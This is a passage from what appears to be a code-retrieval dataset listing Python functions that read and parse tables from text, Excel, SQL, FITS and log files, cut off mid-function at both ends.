read_table_excel(file, **kwargs)\n elif extn == '.gsheet':\n if hasattr(file, 'as_posix'): # a pathlib.Path object\n file = str(file)\n elif hasattr(file, 'name'): # a TextIOWrapper object\n file = file.name\n return read_table_gsheets(file[:-7], **kwargs) # ignore the extension\n else:\n return read_table_text(file, **kwargs)","def do_get_table(tpath):\n table = provider.get_type_table(tpath)\n try:\n runs = run.split('-')\n ass = provider.get_assignment(tpath, runs[0], var)\n except:\n print \"no entry found\"\n return\n sys.stdout.write(ass.constant_set.vault)","def readtxt(obslog):\n\n logger = log.getLogger('obslog.readtxt')\n\n if not os.path.exists(obslog):\n logger.error('Cannot access %s', obslog)\n raise SystemExit\n\n logger.info('Reading %s', obslog)\n\n with open(obslog) as f: # Since we will have to go through the data twice, read the whole file at once.\n data = f.readlines()\n\n header = ['Observation ID', 'Data Labels', 'File Numbers', 'Dataset UT', 'Target Name', 'Filters', 'Slit',\n 'Grating/Wavelength', 'Camera/Prism', 'ExpTime/LNR/Coadds', 'ACQ']\n\n pattern = dict() # Enforce formatting rules to avoid parsing comments as data:\n pattern['Observation ID'] = re.compile(r'^G[NS]-[0-9]{4}[AB]-([CQ]|DD|FT|LP|SV)-[0-9]{0,3}-[0-9]+$')\n pattern['Data Labels'] = re.compile(r'[0-9]+-*[0-9]*') # 1, 2-3, 45-67, 890-1234\n pattern['File Numbers'] = re.compile(r'[0-9]+-*[0-9]*') # 1, 2-3, 45-67, 890-1234\n pattern['Dataset UT'] = re.compile(r'^[0-9]{2}:[0-9]{2}:[0-9]{2}$') # 09:58:15\n pattern['Target Name'] = re.compile(r'[a-zA-Z0-9_-]+') # Match any string\n pattern['Filters'] = re.compile(r'[A-Z0-9\\-]+') # H, XD, H2, X, J, H\n pattern['Slit'] = re.compile(r'[a-zA-Z0-9]+') # 0.675, ACQ, LgPin\n pattern['Grating/Wavelength'] = re.compile(r'[0-9]{2,3}/[0-9]\\.[0-9]{2}') # 32/1.65, 111/1.68\n pattern['Camera/Prism'] = re.compile(r'[A-Z]{2}/[A-Z]{3}') # LB/MIR, SB/SXD\n pattern['ExpTime/LNR/Coadds'] = re.compile(r'[0-9]+\\.[0-9]/[0-9]+/[0-9]+') # 0.2/1/25, 300.0/32/1\n pattern['ACQ'] = re.compile(r'^Y*$') # Y or ''\n\n indx = {}\n for line in data:\n if 'Electronic Observing Log' in line:\n date = line.split()[-1][7:]\n logger.debug('Log date: %s', date)\n if line[0:14] == 'Observation ID': # This defines the start of the header row\n for h in header:\n indx[h] = line.find(h) # Find where each column starts\n break # No need to go farther\n\n width = {} # Find the width of each row\n for i in range(len(header) - 1): # This requires that 'header' be an ordered array (not a dictionary)\n width[header[i]] = indx[header[i + 1]] - indx[header[i]]\n width[header[i+1]] = 1 # The ACQ field is either 'Y' or blank\n\n val = {}\n match = {}\n info = {}\n for line in data:\n logger.debug('\\n%s', line)\n files = []\n for h in header:\n val[h] = line[indx[h]: indx[h] + width[h]].strip()\n match[h] = re.match(pattern[h], val[h])\n logger.debug('%s: \"%s\" %s' % (h, val[h], match[h]))\n\n # Maybe throw a warning if only match 1 fails; indicating a likely bad pattern specification?\n\n if None in match.values():\n logger.debug('Failed to match all patterns -> This is a comment')\n continue\n\n if '-' in val['File Numbers']:\n start, stop = val['File Numbers'].split('-')\n for i in range(int(start), int(stop)+1):\n files.append(i)\n else:\n files.append(int(val['File Numbers']))\n\n for filenum in files:\n f = 'N%sS%04d.fits' % (date, filenum)\n logger.debug('File: %s', f)\n info[f] = {}\n for h in [header[0]] + header[3:]: # Skip 'Data Labels' and \"File Numbers'\n info[f][h] = val[h]\n\n logger.debug('info: %s', info)\n return info"],"string":"[\n \"def GetDefinitions(filename,obj):\\n file=open(filename)\\n content=file.read().replace(\\\"\\\\t\\\",\\\" \\\")\\n file.close\\n pat=re.compile(obj +' \\\\{([\\\\S\\\\s]*?)\\\\}',re.DOTALL)\\n finds=pat.findall(content)\\n return finds\",\n \"def find_table_command(input_file):\\n contents = open(input_file, 'r')\\n file = \\\"\\\".join(contents)\\n table_title = find_table(input_file)[1]\\n table_command =[]\\n for title in table_title:\\n stString = 'CREATE TABLE '+str(title)+ ' ('\\n start = file.find(stString)\\n end = file.find(');', start)\\n word_list = file[start+len(stString):end].split(',')\\n table_command.append(stString+ ','.join(word_list)+');')\\n\\n return table_command\",\n \"def open_txt_table(txt_file, data_start_with=2,keys_line=0, types_line=1, split_char=\\\"\\\\t\\\"):\\n file = open(txt_file,\\\"r\\\")\\n i = 0;\\n line = file.readline()\\n keys = []\\n types = []\\n txt_table_rows = []\\n while line != \\\"\\\":\\n line = line.strip(\\\"\\\\n\\\")\\n line = line.strip(\\\"\\\\r\\\")\\n if(i >= data_start_with):\\n values = line.split(split_char)\\n n = len(values)\\n values += [\\\" \\\" for x in range(len(keys) - n)]\\n txt_table_rows.append(\\n TxtTableRow(keys, values, types)\\n )\\n elif(i==keys_line):\\n keys = line.split(split_char)\\n elif(i == types_line):\\n types = line.split(split_char)\\n i += 1\\n line = file.readline()\\n\\n file.close()\\n return txt_table_rows\",\n \"def extract_table_byte_table(first_line_idx, lineIN_list): \\n DEBUG_byte_table = False\\n if DEBUG_byte_table: header = '>>>DEBUG_byte_table:\\\\t'\\n if DEBUG_byte_table: print header, 'first_line_idx', first_line_idx \\n if DEBUG_byte_table: from pprint import pprint as pp\\n my_lineOUT_list = []\\n my_lineIN_list = []\\n\\n #OBS header_of_the_table = 'Bytes'\\n cell0_without_tab_list = [\\n ['17', '105-'],\\n ['18', '111-'],\\n ['19', '131-'],\\n ['19', '148-'],\\n ['19', '165-'],\\n ['19', '168-'],\\n ['19', '184-'],\\n ['19', '186-'],\\n ['19', '188-'],\\n ['19', '193-'],\\n ['19', '196-'],\\n ['19', '212-'],\\n ['19', '224-'],\\n ['34', '128-'],\\n ['34', '130-'],\\n ['34', '132-'],\\n ['34', '134-'],\\n ['34', '136-'],\\n ['34', '144-'],\\n ['34', '146-'],\\n ['34', '148-'],\\n ['34', '150-'],\\n ['34', '152-'],\\n ['34', '160-'],\\n ['34', '176-'],\\n ['34', '178-'],\\n ['34', '180-'],\\n ['34', '182-'],\\n ['34', '184-'],\\n ['34', '186-'],\\n ['34', '188-'],\\n ['34', '190-'],\\n ['34', '192-'],\\n ['34', '194-'],\\n ['34', '196-'],\\n ['34', '198-'],\\n ['34', '200-'],\\n ['34', '208-'],\\n ]\\n tab_within_cell_list = [\\n ] \\n merged_cell_list = [\\n # text in this cell is merged cells\\n '\\\\tSee Table',\\n '\\\\t-',\\n ] \\n #unwanted_line_list = [\\n #['19', 'Base ID fields'],\\n #['19', 'Extended ID fields'],\\n #['19', 'Vendor Specific ID fields'],\\n #]\\n #ignore_blank_line = [\\n # '13',\\n #]\\n\\n \\n DEBUG0 = False\\n if DEBUG0: header0 = '>>>DEBUG0:\\\\t'\\n if DEBUG0: \\n start_line = 1720\\n end_line = start_line + 100\\n for line_idx in range(start_line, end_line+10):\\n #for line_idx in range(len(new_lineIN_list)):\\n print header0, '>>>>>>>>>>>>>>', '%d(%s)'%(line_idx, lineIN_list[line_idx].rstrip())\\n #if new_lineIN_list[line_idx].startswith('255\\\\t'):\\n # break\\n\\n DEBUG1 = False\\n if DEBUG1: header1 = '>>>DEBUG1:\\\\t'\\n\\n for line_idx in range(first_line_idx+1, len(lineIN_list) ):\\n\\n #this_line = lineIN_list[line_idx]\\n #if DEBUG1: print header1, 1000, 'line_idx(%d). (this_line)(%s)'%(line_idx, this_line)\\n\\n #this_line = lineIN_list[line_idx].replace('\\\\n', '') # strip EOL only, not other whtite space\\n #if DEBUG1: print header1, 1002, 'line_idx(%d). (this_line)(%s)'%(line_idx, this_line)\\n\\n this_line = lineIN_list[line_idx].rstrip('\\\\n') # strip EOL only, not other whtite space\\n #if DEBUG1: print header1, 1004, 'line_idx(%d). (this_line)(%s)'%(line_idx, this_line)\\n\\n if DEBUG1: print header1, 1000, 'This table: len(my_lineIN_list)(%d)'%(len(my_lineIN_list))\\n\\n # Fix unwantted tab in original PDF file: replace unwanted tab into a space\\n for tmp_str in tab_within_cell_list:\\n if DEBUG1: print header1, 1500, 'line_idx(%d). (this_line)(%s)'%(line_idx, this_line)\\n this_line = this_line.replace('%s\\\\t'%(tmp_str), '%s '%(tmp_str), 1)\\n\\n if len(this_line) != 0:\\n #if re.search('^ *$', this_line): # look for zero or more space, but do not touch the tab\\n if DEBUG1: print header1, 2000, 'line_idx(%d). (this_line)(%s)'%(line_idx, this_line)\\n try:\\n header_of_the_table \\n if DEBUG1: print header1, 2100, 'line_idx(%d). (this_line)(%s)'%(line_idx, this_line)\\n except NameError:\\n header_of_the_table = re.sub('\\\\t.*', '', this_line) # extract only the first cell\\n if DEBUG1: print header1, 2200, 'line_idx(%d). (this_line)(%s)'%(line_idx, this_line)\\n\\n # Ignore unwanted line within a table\\n #for this_table, this_value in unwanted_line_list:\\n # if this_table in lineIN_list[first_line_idx] and this_value in this_line:\\n # if DEBUG_byte_table: print header, 'SKIPPED %3d: 2000, this_line\\\\t(%s)'%(line_idx, this_line)\\n # pass\\n # else:\\n # my_lineIN_list.append(this_line)\\n my_lineIN_list.append(this_line)\\n else:\\n # The table itself is between 2 blank lines, except TABLE 13\\n #if any(this_table in lineIN_list[first_line_idx] for this_table in ignore_blank_line):\\n # if '13' in lineIN_list[first_line_idx]:\\n # my_lineIN_list.append('\\\\t') # line for bit 0 has a missing trailing tab\\n # pass\\n\\n # The table itself is between 2 blank lines\\n if DEBUG1: print header1, 6000, 'line_idx(%d). (this_line)(%s)'%(line_idx, this_line)\\n if len(my_lineIN_list) != 0:\\n if DEBUG1: print header1, 6400, 'line_idx(%d). (this_line)(%s)'%(line_idx, this_line)\\n break\\n if DEBUG1: print header1, 6600, 'line_idx(%d). (this_line)(%s)'%(line_idx, this_line)\\n\\n DEBUG2 = False\\n if DEBUG2: header2 = '>>>DEBUG2:\\\\t'\\n if DEBUG2: \\n print header2, 'This table: len(my_lineIN_list)(%d)'%(len(my_lineIN_list))\\n for line_idx in range(len(my_lineIN_list)):\\n print header2, 'my_lineIN_list[%d](%s):'%(line_idx, my_lineIN_list[line_idx])\\n\\n # Make the text line compatible with CSV syntax\\n line_idx = 0\\n while line_idx < len(my_lineIN_list):\\n this_line = my_lineIN_list[line_idx]\\n this_delimiter_count = this_line.count('\\\\t')\\n\\n if DEBUG_byte_table: print\\n if DEBUG_byte_table: print header, '%3d: 2000, this_line\\\\t(%s)'%(line_idx, this_line)\\n\\n if this_line.startswith(header_of_the_table):\\n #if DEBUG_byte_table: print header, '%3d: 2010, this_line\\\\t(%s)'%(line_idx, this_line)\\n # header of the table\\n delimiter_count = this_delimiter_count\\n this_line = text_to_csv_syntax(this_line) # text line compatible with CSV syntax\\n this_line = text_to_excessive_space_on_hyphen(this_line) # remove the space in 'xx- xx', or 'xx -xx'\\n my_lineOUT_list.append(this_line)\\n\\n else:\\n #if DEBUG_byte_table: print header, '%3d: 2020, this_line\\\\t(%s)'%(line_idx, this_line)\\n # Get one or more line until enough cells: \\n while this_line.count('\\\\t') < delimiter_count:\\n # append next line\\n if line_idx+1 < len(my_lineIN_list):\\n if DEBUG_byte_table: print header, '%3d: 2035, my_lineIN_list[line_idx+1]\\\\t(%s)'%(line_idx, my_lineIN_list[line_idx+1])\\n #if any(my_lineIN_list[line_idx+1].startswith(z) for z in (merged_cell_list)):\\n if any(z in my_lineIN_list[line_idx] for z in (merged_cell_list)):\\n if DEBUG_byte_table: print header, '%3d: 2040, this_line\\\\t(%s)'%(line_idx, this_line)\\n break # Done because a line with merged cell has less total number of cells \\n line_idx += 1\\n this_line += ' ' + my_lineIN_list[line_idx]\\n\\n if DEBUG_byte_table: print header, '%3d: 3000, this_line\\\\t(%s)'%(line_idx, this_line)\\n else:\\n break\\n\\n # Has enough cells: append one or more line if these line has no tab except \\n # the line start with a specific text\\n while line_idx+1 < len(my_lineIN_list) and not '\\\\t' in my_lineIN_list[line_idx+1]:\\n #if any (my_lineIN_list[line_idx+1].startswith(z) for tbl, z in cell0_without_tab_list):\\n\\n DEBUG_4 = False\\n if DEBUG_4: header = '>>>DEBUG_4:\\\\t'\\n if DEBUG_4:\\n pass\\n #if any (this_table in lineIN_list[first_line_idx] and my_lineIN_list[line_idx+1].startswith(z) for this_table, z in cell0_without_tab_list):\\n #print header, cell0_without_tab_list\\n print header, cell0_without_tab_list\\n #print header, for this_table, z in cell0_without_tab_list):\\n #print header, if any (this_table in lineIN_list[first_line_idx] and my_lineIN_list[line_idx+1].startswith(z) for this_table, z in cell0_without_tab_list):\\n for this_table, z in cell0_without_tab_list:\\n print header, 'this_table(%r), z(%r), lineIN_list[first_line_idx](%r), my_lineIN_list[line_idx+1](%r)'%(this_table, z, lineIN_list[first_line_idx], my_lineIN_list[line_idx+1]),\\n print this_table in lineIN_list[first_line_idx] and my_lineIN_list[line_idx+1].startswith(z)\\n\\n\\n if any (this_table in lineIN_list[first_line_idx] and my_lineIN_list[line_idx+1].startswith(z) for this_table, z in cell0_without_tab_list):\\n break\\n else:\\n line_idx += 1\\n this_line += ' ' + my_lineIN_list[line_idx]\\n if DEBUG_byte_table: print header, '%3d: 4020, this_line\\\\t(%s)'%(line_idx, this_line)\\n if DEBUG_byte_table: print header, '%3d: 4030, text appended\\\\t(%s)'%(line_idx, my_lineIN_list[line_idx])\\n\\n this_line = text_to_csv_syntax(this_line) # text line compatible with CSV syntax\\n this_line = text_to_excessive_space_on_hyphen(this_line) # remove the space in 'xx- xx', or 'xx -xx'\\n my_lineOUT_list.append(this_line)\\n if DEBUG_byte_table: print header, '%3d: 9999, my_lineOUT_list[-1]\\\\t(%s)'%(line_idx, my_lineOUT_list[-1])\\n line_idx += 1\\n\\n if DEBUG_byte_table:\\n for str2 in my_lineOUT_list: print header, 'str2(%r)'%(str2)\\n return my_lineOUT_list\",\n \"def generate_defs(config):\\n txt_files = glob.glob(config['path']['temp_path'])\\n list_defs = []\\n for txt in txt_files:\\n with open(txt, 'r', errors='ignore') as f:\\n def_data = f.readlines()\\n temp_list = []\\n for item in def_data:\\n line = item.replace('\\\\n', '').replace('\\\\t', 'Alias:').split(\\\":\\\")\\n if 'CUI' in line:\\n temp_dict = {}\\n name = line[-1].replace('\\\\n', '')\\n cui = line[1].split(\\\",\\\")[0]\\n temp_dict['Term'] = name\\n # \\t\\t temp_dict['CUI'] = cui\\n # \\t\\t if 'TUI(s)' in line:\\n # \\t\\t temp_dict['TUI'] = line[1]\\n if 'Definition' in line:\\n definition = line[1]\\n temp_dict['Definition'] = definition\\n # \\t\\t if 'Alias' in line[0]:\\n # \\t\\t alias = line[-1]\\n # \\t\\t temp_dict['Alias'] = alias\\n if temp_dict:\\n temp_list.append(temp_dict)\\n\\n df = pd.DataFrame(temp_list).drop_duplicates(subset=\\\"Term\\\", keep='last')\\n list_defs.append(df)\\n\\n # tt = txt.split('.')[0] + '.csv'\\n # df.to_csv(tt,index=False)\\n frame = pd.concat(list_defs, axis=0, ignore_index=True)\\n frame.drop_duplicates(inplace=True)\\n frame = frame[['Term', 'Definition']] # 'Alias','CUI','TUI']]\\n frame.to_csv(config['path']['definition_file'], index=False)\",\n \"def table_tags(filen):\\n\\n print(\\\"Scanning file \\\" + str(filen))\\n rtable = re.compile(r\\\"\\\\$TABLE *:\\\")\\n f = open(filen, \\\"r\\\")\\n linecount = 0\\n tablecount = 0\\n tablelist = []\\n for line in f:\\n linecount = linecount + 1\\n table = rtable.search(line)\\n if table:\\n tablecount = tablecount + 1\\n print(str(linecount) + \\\": \\\" + str(line.rstrip(\\\"\\\\n\\\")))\\n tablelist.append(line.rstrip(\\\"\\\\n\\\"))\\n f.close()\\n print(str(linecount) + \\\" lines and \\\" + str(tablecount) + \\\" tables\\\")\\n return tablelist\",\n \"def idsFromDocumentation(filename):\\n\\tidsInOrder = []\\n\\tsegment = \\\"\\\"\\n\\twith open(filename) as f:\\n\\t\\tfor l in f:\\n\\t\\t\\tif \\\"<h2\\\" in l:\\n\\t\\t\\t\\tsegment = l.split(\\\">\\\")[1].split(\\\"<\\\")[0]\\n\\t\\t\\tif 'id=\\\"SCI_' in l:\\n\\t\\t\\t\\tidFeature = l.split('\\\"')[1]\\n\\t\\t\\t\\t#~ print(idFeature)\\n\\t\\t\\t\\tidsInOrder.append([segment, idFeature])\\n\\treturn idsInOrder\",\n \"def identifier_entry(self):\\n\\t self.result_code = open(\\\"result.c\\\", \\\"r\\\")\\n\\t self.line_array = self.result_code.readlines()\\n\\t self.result_code.close()\\n\\n\\t #self.symbol_table = open(\\\"symbol.csv\\\", \\\"w\\\")\\n\\t datatypes = [\\\"int\\\",\\\"float\\\",\\\"char\\\",\\\"double\\\"] #the datatypes\\n\\t '''General Pattern for search and sub function for all datatype '''\\n\\t struct = \\\"&& .*\\\"\\n\\t struct1 = \\\"&& \\\"\\n\\n\\t # Looping over all the lines in the intermediate program.\\n\\t for line in self.line_array:\\n\\t # Checking for integer declarations.\\n\\t for datatype in datatypes:\\n\\t pat = re.sub(\\\"&&\\\",datatype,struct)\\n\\t pat1 = re.sub(\\\"&&\\\",datatype,struct1)\\n\\t if re.search(pat,line):\\n\\t dec1 = re.split(pat1,line)\\n \\n\\t self.process_declaration(dec1[1],datatype)\\n\\t print(self.identifiers)\\n\\t print(self.array_structure)\\n\\n\\t #self.symbol_table.close()\",\n \"def getTableHead():\\n return [\\\"Reporter\\\", \\\"Reportee\\\", \\\"aln. DKIM\\\", \\\"aln. SPF\\\", \\\"Disposition\\\",\\n \\\"DKIM result\\\", \\\"SPF result\\\", \\\"msg#\\\", \\\"IP\\\", \\\"Country\\\",\\n \\\"Report Begin\\\", \\\"Report End\\\", \\\"Report ID\\\"]\",\n \"def find_table(input_file):\\n contents = open(input_file, 'r').readlines()\\n title = []\\n for line in contents:\\n if 'CREATE TABLE' in line:\\n T = re.search('CREATE TABLE (.+?) \\\\(',line).group(1).strip('\\\\\\\"')\\n title.append(T)\\n if len(title) != 0:\\n return True, title\\n else:\\n return False, title\",\n \"def get_readpattern_defs(self, filename=None):\\n if filename is not None:\\n return ascii.read(filename)\\n\\n tab = ascii.read(self.readpatt_def_file)\\n return tab\",\n \"def _parse_entry_table(self,obj,padding=0):\\n data = ''\\n\\n for item in obj.data:\\n line = self.parse(item,padding)\\n tokens = line.split('\\\\n')\\n tokens[0] = '%s [0x%x] {' % (tokens[0][:-1],int(item.offset))\\n data += '\\\\n'.join(tokens) + '\\\\n'\\n\\n return data\",\n \"def dump_db_table_defs(self, args):\\n dbinfo = self.stru.readrec(1)\\n if dbinfo[:1] != b\\\"\\\\x03\\\":\\n print(\\\"WARN: expected dbinfo to start with 0x03\\\")\\n dbdef = self.decode_db_definition(dbinfo[1:])\\n self.dump_db_definition(args, dbdef)\\n\\n for k, v in dbdef.items():\\n if k.startswith(\\\"Base\\\") and k[4:].isnumeric():\\n print(\\\"== %s ==\\\" % k)\\n tbdef = TableDefinition(v, dbdef.get(\\\"BaseImage\\\" + k[4:], b''))\\n tbdef.dump(args)\\n elif k == \\\"NS1\\\":\\n self.dump_ns1(v)\",\n \"def create_table(file_to_use):\\n lines = []\\n for line in file_to_use:\\n lines.append(line.split(\\\",\\\"))\\n lines[-1][-1] = lines[-1][-1][:-1]\\n return lines\",\n \"def __getInterProIndex(self, filePath):\\n\\n interProD = {}\\n encodingD = {\\\"encoding\\\": \\\"ascii\\\"} if sys.version_info[0] < 3 else {}\\n rowL = self.__mU.doImport(filePath, fmt=\\\"tdd\\\", rowFormat=\\\"list\\\", **encodingD)\\n for row in rowL:\\n try:\\n interProId = row[0].strip().upper()\\n interProType = row[1].strip()\\n descr = row[2].strip()\\n interProD[interProId] = {\\\"description\\\": descr, \\\"type\\\": interProType}\\n except Exception:\\n pass\\n #\\n return interProD\",\n \"def loadText(self,textFileName):\\n textFile = file(textFileName,'rb')\\n reHeader = re.compile('^# ([a-zA-Z_0-9]+)')\\n id,lines,changed = None,[],[]\\n id_records = dict((record.id.lower(),record) for record in self.scripts)\\n def unBuffer():\\n record = id and id_records.get(id.lower())\\n if record:\\n code = (''.join(lines)).strip()\\n if code.lower() != record.sctx.data.strip().lower():\\n record.setCode(code)\\n changed.append(id)\\n for line in textFile:\\n maHeader = reHeader.match(line)\\n if maHeader:\\n unBuffer()\\n id,lines = maHeader.group(1),[]\\n elif id: \\n lines.append(line)\\n textFile.close()\\n unBuffer()\\n return sorted(changed,key=string.lower)\",\n \"def getsameIDList(id, file):\\n glineList = []\\n newread = []\\n \\n for line in open(file):\\n itemList = line[:-1].split('\\\\t')\\n line_id = getsubString(itemList[0],'|')\\n \\n if id == line_id:\\n glineList.append(line)\\n else:\\n newread.append(line)\\n return glineList\",\n \"def loadText(self,filePath):\\n ins = file(filePath,'r')\\n reComment = re.compile(r\\\"#.*\\\")\\n reSection = re.compile(r'@ +(srcmod|replace)',re.M)\\n reReplace = re.compile(r\\\"(\\\\w[-\\\\w ']+)\\\\s*:\\\\s*(.+)\\\")\\n reNewIds = re.compile(r\\\",\\\\s*\\\")\\n mode = None\\n for line in ins:\\n line = reComment.sub('',line.strip())\\n maSection = reSection.match(line)\\n if maSection:\\n mode = maSection.group(1)\\n elif not line: #--Empty/comment line\\n pass\\n elif mode == 'srcmod':\\n self.srcModName = line\\n elif mode == 'replace':\\n maReplace = reReplace.match(line)\\n if not maReplace: continue\\n oldId = maReplace.group(1)\\n self.newIds[oldId.lower()] = reNewIds.split(maReplace.group(2))\\n ins.close()\",\n \"def parse_tab_outfile(busco):\\n with open(busco) as file:\\n return file.read().split(\\\"\\\\n\\\")\",\n \"def load_table2(path=data_path+\\\"Table2_extended_SN_info.txt\\\"):\\n res = []\\n with open(path, 'r') as f:\\n for line in f:\\n words = line.split('&')\\n\\n # clean up white spaces\\n words_clean = np.asarray([x.strip() for x in words], dtype=object)\\n\\n # clean up the white space in name\\n name_str = words_clean[0]\\n name_arr = name_str.split()\\n name_new = ''\\n for name_part in name_arr:\\n name_new = name_new + name_part\\n words_clean[0] = name_new\\n\\n # clean up distance to number\\n dist = float(words_clean[3])\\n words_clean[3] = dist\\n\\n # save\\n res.append(words_clean)\\n res = np.asarray(res, dtype=object)\\n\\n # save into a dictionary\\n res_dct = {}\\n for i in range(len(res)):\\n res_dct[res[i, 0]] = res[i]\\n\\n # return np.asarray(res, dtype=object)\\n return res_dct\",\n \"def table_col(file_name='tpch'):\\n \\n path = './data/' + file_name + \\\"/sql/{}-create.sql\\\".format(\\\"tpch\\\")\\n regex = re.compile(';\\\\($')\\n \\n tbl_name = {}\\n tbl = \\\"\\\"\\n with open(path, 'r') as f:\\n for line in f.readlines():\\n if \\\"CREATE TABLE\\\" in line:\\n tbl = line.split()[2]\\n tbl_name[tbl.lower()] = []\\n elif line != \\\"\\\\n\\\" and ');' not in line and regex.search(line) == None:\\n col = line.split()[0]\\n tbl_name[tbl.lower()].append(col.lower())\\n return tbl_name\",\n \"def parse_tables_xlsx(inp):\\n # --------------------------------------------------------------------------\\n # Start\\n # --------------------------------------------------------------------------\\n raw_read = pd.read_excel(inp,sheet_name = None)\\n indx = get_tab_index(raw_read)\\n # --------------------------------------------------------------------------\\n # Get the individual tables from the file\\n # --------------------------------------------------------------------------\\n tabdict = {}\\n for i in indx['tab'].to_list():\\n tabdict[i] = get_table_df(raw_read[i])\\n # --------------------------------------------------------------------------\\n # Finish\\n # --------------------------------------------------------------------------\\n out = {}\\n out['indx'] = indx\\n out['tabs'] = tabdict\\n return out\",\n \"def extract_docstrings_from_file_overview() -> Dict[str, Dict[str, str]]:\\n with open(DEVELOPER_DOC_PATH, \\\"r\\\") as file:\\n doc_data = file.readlines()\\n\\n existing_doc_dict: Dict[str, Dict[str, str]] = {}\\n\\n # table is present from line TABLE_OFFSET to (length - 1)\\n for doc_row in doc_data[TABLE_OFFSET - 1 :]:\\n _, folder, filename, docstring, _ = doc_row.split(\\\"|\\\")\\n folder, filename = folder.strip(), filename.strip()\\n if folder:\\n # For files under a folder but no folder value in overview file (eg. core.py)\\n folder_name = folder\\n existing_doc_dict[str(folder_name)] = {}\\n if docstring.strip():\\n if filename:\\n existing_doc_dict[folder_name][filename] = docstring.strip()\\n else:\\n existing_doc_dict[folder_name][\\\"no_file_present\\\"] = docstring.strip()\\n return existing_doc_dict\",\n \"def read(self):\\r\\n entById = {}\\r\\n entsByName = {}\\r\\n header = 'HEADER '\\r\\n readheader = False\\r\\n for line in self.file:\\r\\n e = self.parseLine(line)\\r\\n if e:\\r\\n entById[int(e[\\\"id\\\"])] = e\\r\\n ids = e.get(e[\\\"name\\\"],[])\\r\\n ids.append(e[\\\"id\\\"])\\r\\n entsByName[e[\\\"name\\\"]] = list(set(ids))\\r\\n elif 'HEADER' in line:\\r\\n readheader = True\\r\\n elif readheader:\\r\\n if 'ENDSEC' in line:\\r\\n readheader = False\\r\\n else:\\r\\n header += line\\r\\n \\r\\n return [entById, entsByName, header]\",\n \"def vocab_tables(source_file, tags_file):\\n pass\",\n \"def find_header_info(file):\\n\\n hdr = pyfits.getheader(file, 1)\\n obsid = hdr['OBS_ID']\\n detnam = hdr['DETNAM']\\n date_obs = hdr['DATE-OBS']\\n date_end = hdr['DATE-END']\\n tstart = hdr['TSTART']\\n tstop = hdr['TSTOP']\\n ra_pnt = hdr['RA_PNT']\\n dec_pnt = hdr['DEC_PNT']\\n roll_pnt = hdr['ROLL_PNT']\\n defocus = hdr['DEFOCUS']\\n foc_len = hdr['FOC_LEN']\\n ra_nom = hdr['RA_NOM']\\n dec_nom = hdr['DEC_NOM']\\n sim_x = hdr['SIM_X']\\n sim_y = hdr['SIM_Y']\\n sim_z = hdr['SIM_Z']\\n\\n return [obsid, detnam, date_obs, date_end, tstart, tstop, ra_pnt, dec_pnt, ra_nom, dec_nom, roll_pnt, foc_len, defocus, sim_x, sim_y, sim_z]\",\n \"def parse(self, lines):\\n # Keep count of the current line number.\\n i = 0\\n # list tables and content\\n tables = dict()\\n attr_param = list()\\n\\n skipped_lines = list() # DEBUG\\n\\n # Loop through all lines.\\n for i in range(0, len(lines)):\\n line_stripped = lineNormalise(lines[i])\\n skip = True\\n\\n for keyword in self.target_keywords:\\n\\n # Look for keywords at the beginning of the line.\\n if line_stripped.startswith(keyword):\\n # print(\\\"{} : {}\\\".format(i, line_stripped)) # DEBUG\\n skip = False\\n\\n # Found one, do parse\\n expression = re.search(r'(\\\\w+) (\\\\w+)', line_stripped)\\n if keyword is self.target_keywords[0]: # class/table\\n # get table name\\n table_name = expression.group(2)\\n\\n # add it in tables if not already in\\n # tables (classes) may be at differant place in a PlantUML file\\n if table_name not in tables:\\n tables[table_name] = list()\\n # print(\\\"Table : «{}» ajoutee\\\".format(expression.group(2))) # DEBUG\\n print(\\\"{} : +table «{}»\\\".format(i, table_name)) # DEBUG\\n\\n elif keyword is self.target_keywords[1]: # primary key\\n # import pdb; pdb.set_trace()\\n # get related table\\n attr_param = (re.sub(r'(pyk\\\\()|\\\\)|,|\\\\n', r' ', line_stripped).strip().split())\\n tables[table_name].extend(attr_param)\\n print(\\\"{} :\\\\t«{}» +{}\\\".format(i, table_name, attr_param)) # DEBUG\\n\\n elif keyword is self.target_keywords[2]: # foreign key\\n # get related table\\n attr_param = (re.sub(r'(fnk\\\\()|\\\\)|,|\\\\n', r' ', line_stripped).strip().split())\\n tables[table_name].extend(attr_param)\\n print(\\\"{} :\\\\t«{}» +{}\\\".format(i, table_name, attr_param)) # DEBUG\\n\\n\\n elif keyword is self. target_keywords[3]: # primary foreign key\\n # get related table\\n attr_param = (re.sub(r'(pfk\\\\()|\\\\)|,|\\\\n', r' ', line_stripped).strip().split())\\n tables[table_name].extend(attr_param)\\n print(\\\"{} :\\\\t«{}» +{}\\\".format(i, table_name, attr_param)) # DEBUG\\n\\n else: # attribute\\n # print(line_stripped) # DEBUG\\n print(\\\"{} : \\\\t«{}» Attribute? {}\\\".format(i, line_stripped)) # DEBUG\\n\\n if skip:\\n skipped_lines.append(i)\\n\\n print(\\\"\\\\nNumbers of tables : {}\\\\n\\\".format(len(tables)))\\n pp = pprint.PrettyPrinter(indent=4, compact=True)\\n print(\\\"Scraped data:\\\")\\n pp.pprint(tables) # DEBUG\\n print(\\\"\\\\nSkipped lines: {}\\\\n\\\".format(skipped_lines)) # DEBUG\",\n \"def table_collector(path2mdbs):\\n containing_folder = path2mdbs\\n contained_files = os.listdir(containing_folder)\\n table_list = []\\n for mdb_path in contained_files:\\n if os.path.splitext(mdb_path)[1]=='.mdb' or os.path.splitext(mdb_path)[1]=='.accdb':\\n instance = arcno(os.path.join(containing_folder,mdb_path))\\n for tablename, size in instance.actual_list.items():\\n if tablename not in table_list:\\n table_list.append(tablename)\\n return table_list\",\n \"def extract_references_from_txt(filename):\\n file = open(filename)\\n references_section = \\\"\\\"\\n references_section_found = False\\n for line in file:\\n if \\\"REFERENCE\\\" in line:\\n references_section_found = True\\n if references_section_found:\\n references_section+=line + \\\" \\\"\\n references_section = references_section.replace('\\\\n','')\\n refs = extract_references(references_section)\\n return refs\",\n \"def file_tokenizer_txt(fileName,funcInputs: dict):\\n if log.getEffectiveLevel() == Packages.sv.XL_DEBUG:\\n log.debug('Entering function file_tokenizer_txt(fileName: str,funcInputs: dict) of Module: ' + __name__)\\n\\n #Extract input Variables from the dictionary: funcInputs\\n try:\\n recordMarkerStartText = Packages.Utilities.getValuefromDict(funcInputs, 'recordMarkerStartText', 'Y')\\n recordMarkerEndText = Packages.Utilities.getValuefromDict(funcInputs, 'recordMarkerEndText', 'Y')\\n tableMarkerStartText = Packages.Utilities.getValuefromDict(funcInputs, 'tableMarkerStartText', 'Y')\\n tableMarkerEndText = Packages.Utilities.getValuefromDict(funcInputs, 'tableMarkerEndText', 